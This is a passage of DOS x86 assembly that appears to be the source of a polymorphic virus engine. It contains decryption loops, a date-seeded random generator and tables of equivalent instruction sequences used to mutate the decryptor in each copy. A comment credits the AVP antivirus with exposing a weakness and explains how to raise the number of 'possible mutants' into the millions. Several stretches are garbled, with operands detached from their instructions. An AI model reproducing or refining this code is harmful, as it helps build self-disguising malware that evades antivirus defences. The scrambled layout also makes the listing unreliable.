dec_crypte: lodsb dec al stosb loop dec_crypte jmp evite_autres_loops ror_crypte: lodsb ror al, 1 stosb loop ror_crypte jmp evite_autres_loops sub_crypte: lodsb sub al, dl stosb loop sub_crypte jmp evite_autres_loops xor_crypte: lodsb xor al, dl stosb loop xor_crypte evite_autres_loops: mov al, dl stosb pop pop pop pop pop pop pop ret bp ds es dx cx bx ax

;----------pseudo-random number generator-------------;in: ax = upper limit ;out: ax = random number between 0 et limit-1 included aleatoire: push bx push dx push cx xchg ax, bx mov ah, 2Ah int 21h xchg dx, ax xor ax, 0FFFFh xor dx, dx div bx xchg ax, dx pop cx pop dx pop bx ret

;i've made a little error in this routine, ;because i wanted to make slow poly with: ;get date: return dh=month dl=day ;i didn't thought that will restrict the ;number of possible mutants to 365 (thanks ;to AVP to have shown me this error). Replace ;the "get date" (mov ah, 2Ah) by a "get time" ;(mov ah, 2Ch) and you will have millions ;of possible mutants.

;------------change an entire block of instructions--------------

;in: si=stock zone, di=offset in decryptor ;ax=number of possibilities, bx=number of bytes mute_bloc: call aleatoire mov cx, bx mul bx add si, ax rep movsb ret ;-------------possible mutations-----------------------;0/ get delta offset in 23 bytes _mutation0: mov di, sp call $+4 ;delta: ret dec di dec di db 36h, 81h, 2Dh, 34h, 1 mov bp, ss:[di] add word ptr ss:[di], offset mutation1 db 0EBh, 0EEh mov si, sp call $+4 ;delta: ret dec si dec si db 36h, 81h, 2Ch, 34h, 1 mov bp, ss:[si] add word ptr ss:[si], offset mutation1 db 0EBh, 0EEh mov si, sp call $+5 ;delta: int 20h dec si dec si db 36h, 81h, 2Ch, 34h, 1 mov bp, ss:[si] add word ptr ss:[si], offset mutation1 ret nop mov di, sp sub di, 2 call $+3 ;delta: db 36h, 81h, 2Dh, 38h, 1 mov bp, ss:[di] add word ptr ss:[di], offset mutation1 ret nop nop nop

;sub ss:[di], offset delta

;jmp delta

;sub ss:[si], offset delta

;jmp delta

;sub ss:[si], offset delta

;sub ss:[di], offset delta

nop nop call $+3 ;delta: mov bp, sp mov ax, [bp] db 83h, 46h, 0, 0Fh db 2Dh, 37h, 1 mov bp, ax ret call $+4 nop ;delta: mov ax, sp xchg ax, bx mov ax, ss:[bx] inc ax db 36h, 83h, 07, 14h db 2Dh, 33h, 1 mov bp, ax ret nop nop sub bx, bx or bx, sp dec bx call $+3 ;delta: dec bx db 36h, 81h, 2Fh, 37h, 1 mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ret nop call $+7 ;delta: mov cl, 2 db 0E2h, 0Fh mov ax, 0FFFFh and ax, sp xchg ax, bx mov ax, ss:[bx] db 2Dh, 33h, 1 mov bp, ax ret mov ax, sp dec ax dec ax xchg ax, bx call $+3 ;delta: db 36h, 81h, 2Fh, 37h, 1 mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ret nop mov bx, sp call $+3

;add word ptr [bp], mutation1-delta ;sub ax, offset delta

;add word ptr ss:[bx], mutation1-delta+1 ;sub ax, offset delta

;sub ss:[bx], offset delta ;add word ptr ss:[bx], offset mutation1

;loop mutation1

;sub ax, offset delta

;sub ss:[bx], offset delta ;add word ptr ss:[bx], offset mutation1

;delta: db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta mov bp, ss:[bx-2] add word ptr ss:[bx-2], offset mutation1 ret int 3h call $+3 ;delta: mov bx, sp mov ax, ss:[bx] db 05, 14h, 0 db 36h, 81h, 2Fh, 32h, 1 mov bp, ss:[bx] mov ss:[bx], ax ret db 0B8h, 38h, 1 db 0B9h, 0Eh, 0 call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc

;add ax, mutation1-delta ;sub ss:[bx], offset delta

;mov ax, offset delta ;mov cx, offset mutation1-delta

;1/ push es, ds then put es=ds=cs in 20 bytes _mutation1: push es push ds push cs push cs pop es pop ds db 10 dup (90h) clc db 2 dup (90h) clc db 9 dup (90h) push es nop push ds nop push cs nop pop es nop push cs nop pop ds mov ax, es push ax mov ax, ds push ax mov ax, cs

push ax push ax pop bx pop bx mov es, bx mov ds, bx db 4 dup (90h) nop mov bx, es push bx mov cx, ds push cx mov dx, cs mov es, dx mov ds, dx nop xor ax, 0 db 3 dup (90h) nop nop mov ax, es nop mov bx, ds nop mov cx, cs nop push cx nop push cx nop pop ds nop pop es push ax push bx xor dx, dx mov cx, es or dx, cx push dx xor cx, cx mov dx, ds or cx, dx push cx mov cx, cs push cx pop es mov ds, cx mov ax, mov bx, and ax, push ax mov dx, push dx push bp mov bp, mov ds, mov es, pop bp nop 0FFFFh es bx ds

cs bp bp

sub sp, 2 mov bx, sp mov ss:[bx], es mov ax, ds mov bx, cs push bx pop es mov ds, bx push ax db 3 dup (90h) dec dec mov mov dec dec mov mov mov mov mov sp sp bx, sp ss:[bx], es sp sp bx, sp ss:[bx], ds ax, cs es, ax ds, ax

nop sub sp, 4 mov di, sp mov ss:[di], ds mov ss:[di+2], es push cs mov si, sp mov es, ss:[si] pop ds

;2/ JMP 12Bh in 5 bytes _mutation2: db 90h db 33h, 0C0h db 74h, 0Bh db 33h, 0C9h db 41h db 75h, 0Bh db 90h db 0EBh, 0Dh db 90h clc db 90h db 34h, 0FFh db 75h, 0Bh db 32h, 0DBh db 76h, 0Ch db 90h ;nop ;xor ax, ax ;je decrypte ;xor cx, cx ;inc cx ;jne decrypte ;nop ;jmp decrypte ;nop

;nop ;xor al, 0FFh ;jne decrypte ;xor bl, bl ;jbe decrypte ;nop

db 0B9h, 02h, 0 ;mov cx, 2 db 0E2h, 0Bh ;loop decrypte

db db db db

41h 41h 0E2h, 0Ch 90h

;inc cx ;inc cx ;loop decrypte ;nop

db 0E9h, 0Dh, 0 ;jmp near decrypte push ax pop ax db 90h ;nop db 90h ;nop db 0E9h, 0Bh, 0 ;jmp near decrypte db 0F6h,0C5h,01 ;test ch, 1 db 74h, 0Bh ;jz decrypte ;3/ STOSB in 6 bytes (without di, si, cx, dl) _mutation3: stosb nop nop nop nop clc nop nop nop nop nop stosb mov es:[di], al xchg ax, di inc ax xchg ax, di xchg ax, dx mov ds:[di], dl inc di xchg ax, dx nop inc di mov es:[di-1],al nop mov byte ptr [di], 0 or [di], al inc di xchg byte ptr [di], al add di, 2 dec di mov byte ptr [di], 0 add byte ptr [di], al inc di add di, 1 xchg byte ptr [di-1], al;3

mov byte ptr [di], 0FFh and byte ptr [di], al inc di ;4/ RET in 5 bytes (without di, si, cx, dl) _mutation4: ret nop nop nop clc nop nop nop nop ret pop ax jmp ax nop nop nop pop bx jmp bx nop xchg ax, cx pop cx xchg ax, cx jmp ax xchg ax, dx pop dx xchg ax, dx jmp ax pop ax pushf push cs push ax iret pop bx pushf push cs push bx iret ;5/ mov cx, fin_cryptage-debut_cryptage _mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop nop in 6 bytes

nop nop mov cx, fin_cryptage-debut_cryptage mov ax, fin_cryptage - debut_cryptage+1 dec ax push ax pop cx mov bx, fin_cryptage-debut_cryptage push bx pop cx nop nop mov dx, fin_cryptage-debut_cryptage xchg cx, dx mov ax, fin_cryptage-debut_cryptage-1 inc ax mov cx, ax xor cx, cx add cx, fin_cryptage-debut_cryptage xor ax, ax add ax, fin_cryptage-debut_cryptage xchg ax, cx mov cx, debut_cryptage-fin_cryptage neg cx nop ;6/ lea si, debut_cryptage in 10 bytes (without CX) _mutation6: lea si, [bp+offset debut_cryptage+5] sub si, 5 nop nop nop nop nop nop nop nop nop lea si, [bp+offset debut_cryptage] mov add mov sub ax, ax, si, si, bp offset debut_cryptage+9 ax 9

sub bx, bx xor bx, offset debut_cryptage add bx, bp xchg si, bx xor dx, dx add dx, bp

add dx, offset debut_cryptage mov si, dx mov mov add mov dec bx, ax, ax, si, si bp offset debut_cryptage+1 bx ax

push bp pop ax add ax, offset debut_cryptage-1 inc ax mov bx, ax mov si, bx mov dx, offset debut_cryptage neg dx push bp pop si sub si, dx nop ;7/ mov di, si in 4 bytes (without CX, SI) _mutation7: mov di, si nop nop nop nop mov di, si nop push si pop di nop push si pop dx xchg dx, di xchg si, di mov si, di push si pop ax xchg ax, di nop sub di, di xor di, si mov ax, si mov di, ax xchg si, ax xchg ax, di mov si, di ;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI)

_mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop nop nop nop nop nop mov dl, ds:[bp+offset clef] lea bx, [bp+offset clef+5] sub bx, 5 mov dl, [bx] nop mov ax, bp add ax, offset clef-2 inc ax inc ax xchg ax, bx mov dl, [bx] sub xor add mov bx, bx, bx, dl, bx offset clef bp [bx]

mov bx, bp add bx, offset clef mov dh, [bx] xchg dh, dl mov mov add mov bx, ax, bx, dl, bp offset clef+1 ax [bx-1]

;9/ LODSB in 6 bytes (without CX, SI, DI, DL) _mutation9: lodsb nop nop nop nop nop nop nop nop nop nop lodsb mov al, es:[si]

xchg ax, si inc ax xchg ax, si mov bx, si mov al, [bx] inc si nop inc si mov al, es:[si-1] nop mov ax, 0 or al, [si] inc si xchg byte ptr [si], al add si, 2 dec si xor ax, ax add al, byte ptr [si] inc si nop add si, 1 xchg byte ptr [si-1], al mov ax, 0FFFFh and al, byte ptr [di] inc si ;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10: xor al, dl db 2 dup (90h) xchg cx, bx xchg cx, bx nop clc db 8 dup (90h) xor al, dl xchg ax, bx xor bl, dl xchg ax, bx db 5 dup (90h) stc db 2 dup (90h) xor ax, dx db 6 dup (90h) clc db 5 dup (90h) xor ax, dx db 2 dup (90h) stc

db 2 dup (90h) mov bx, dx xor ax, bx db 3 dup (90h) lea mov xor mov bx, [bp+offset temp] [bx], dl [bx], al al, [bx]

lea bx, [bp+offset temp] xchg [bx], al xor [bx], dl xchg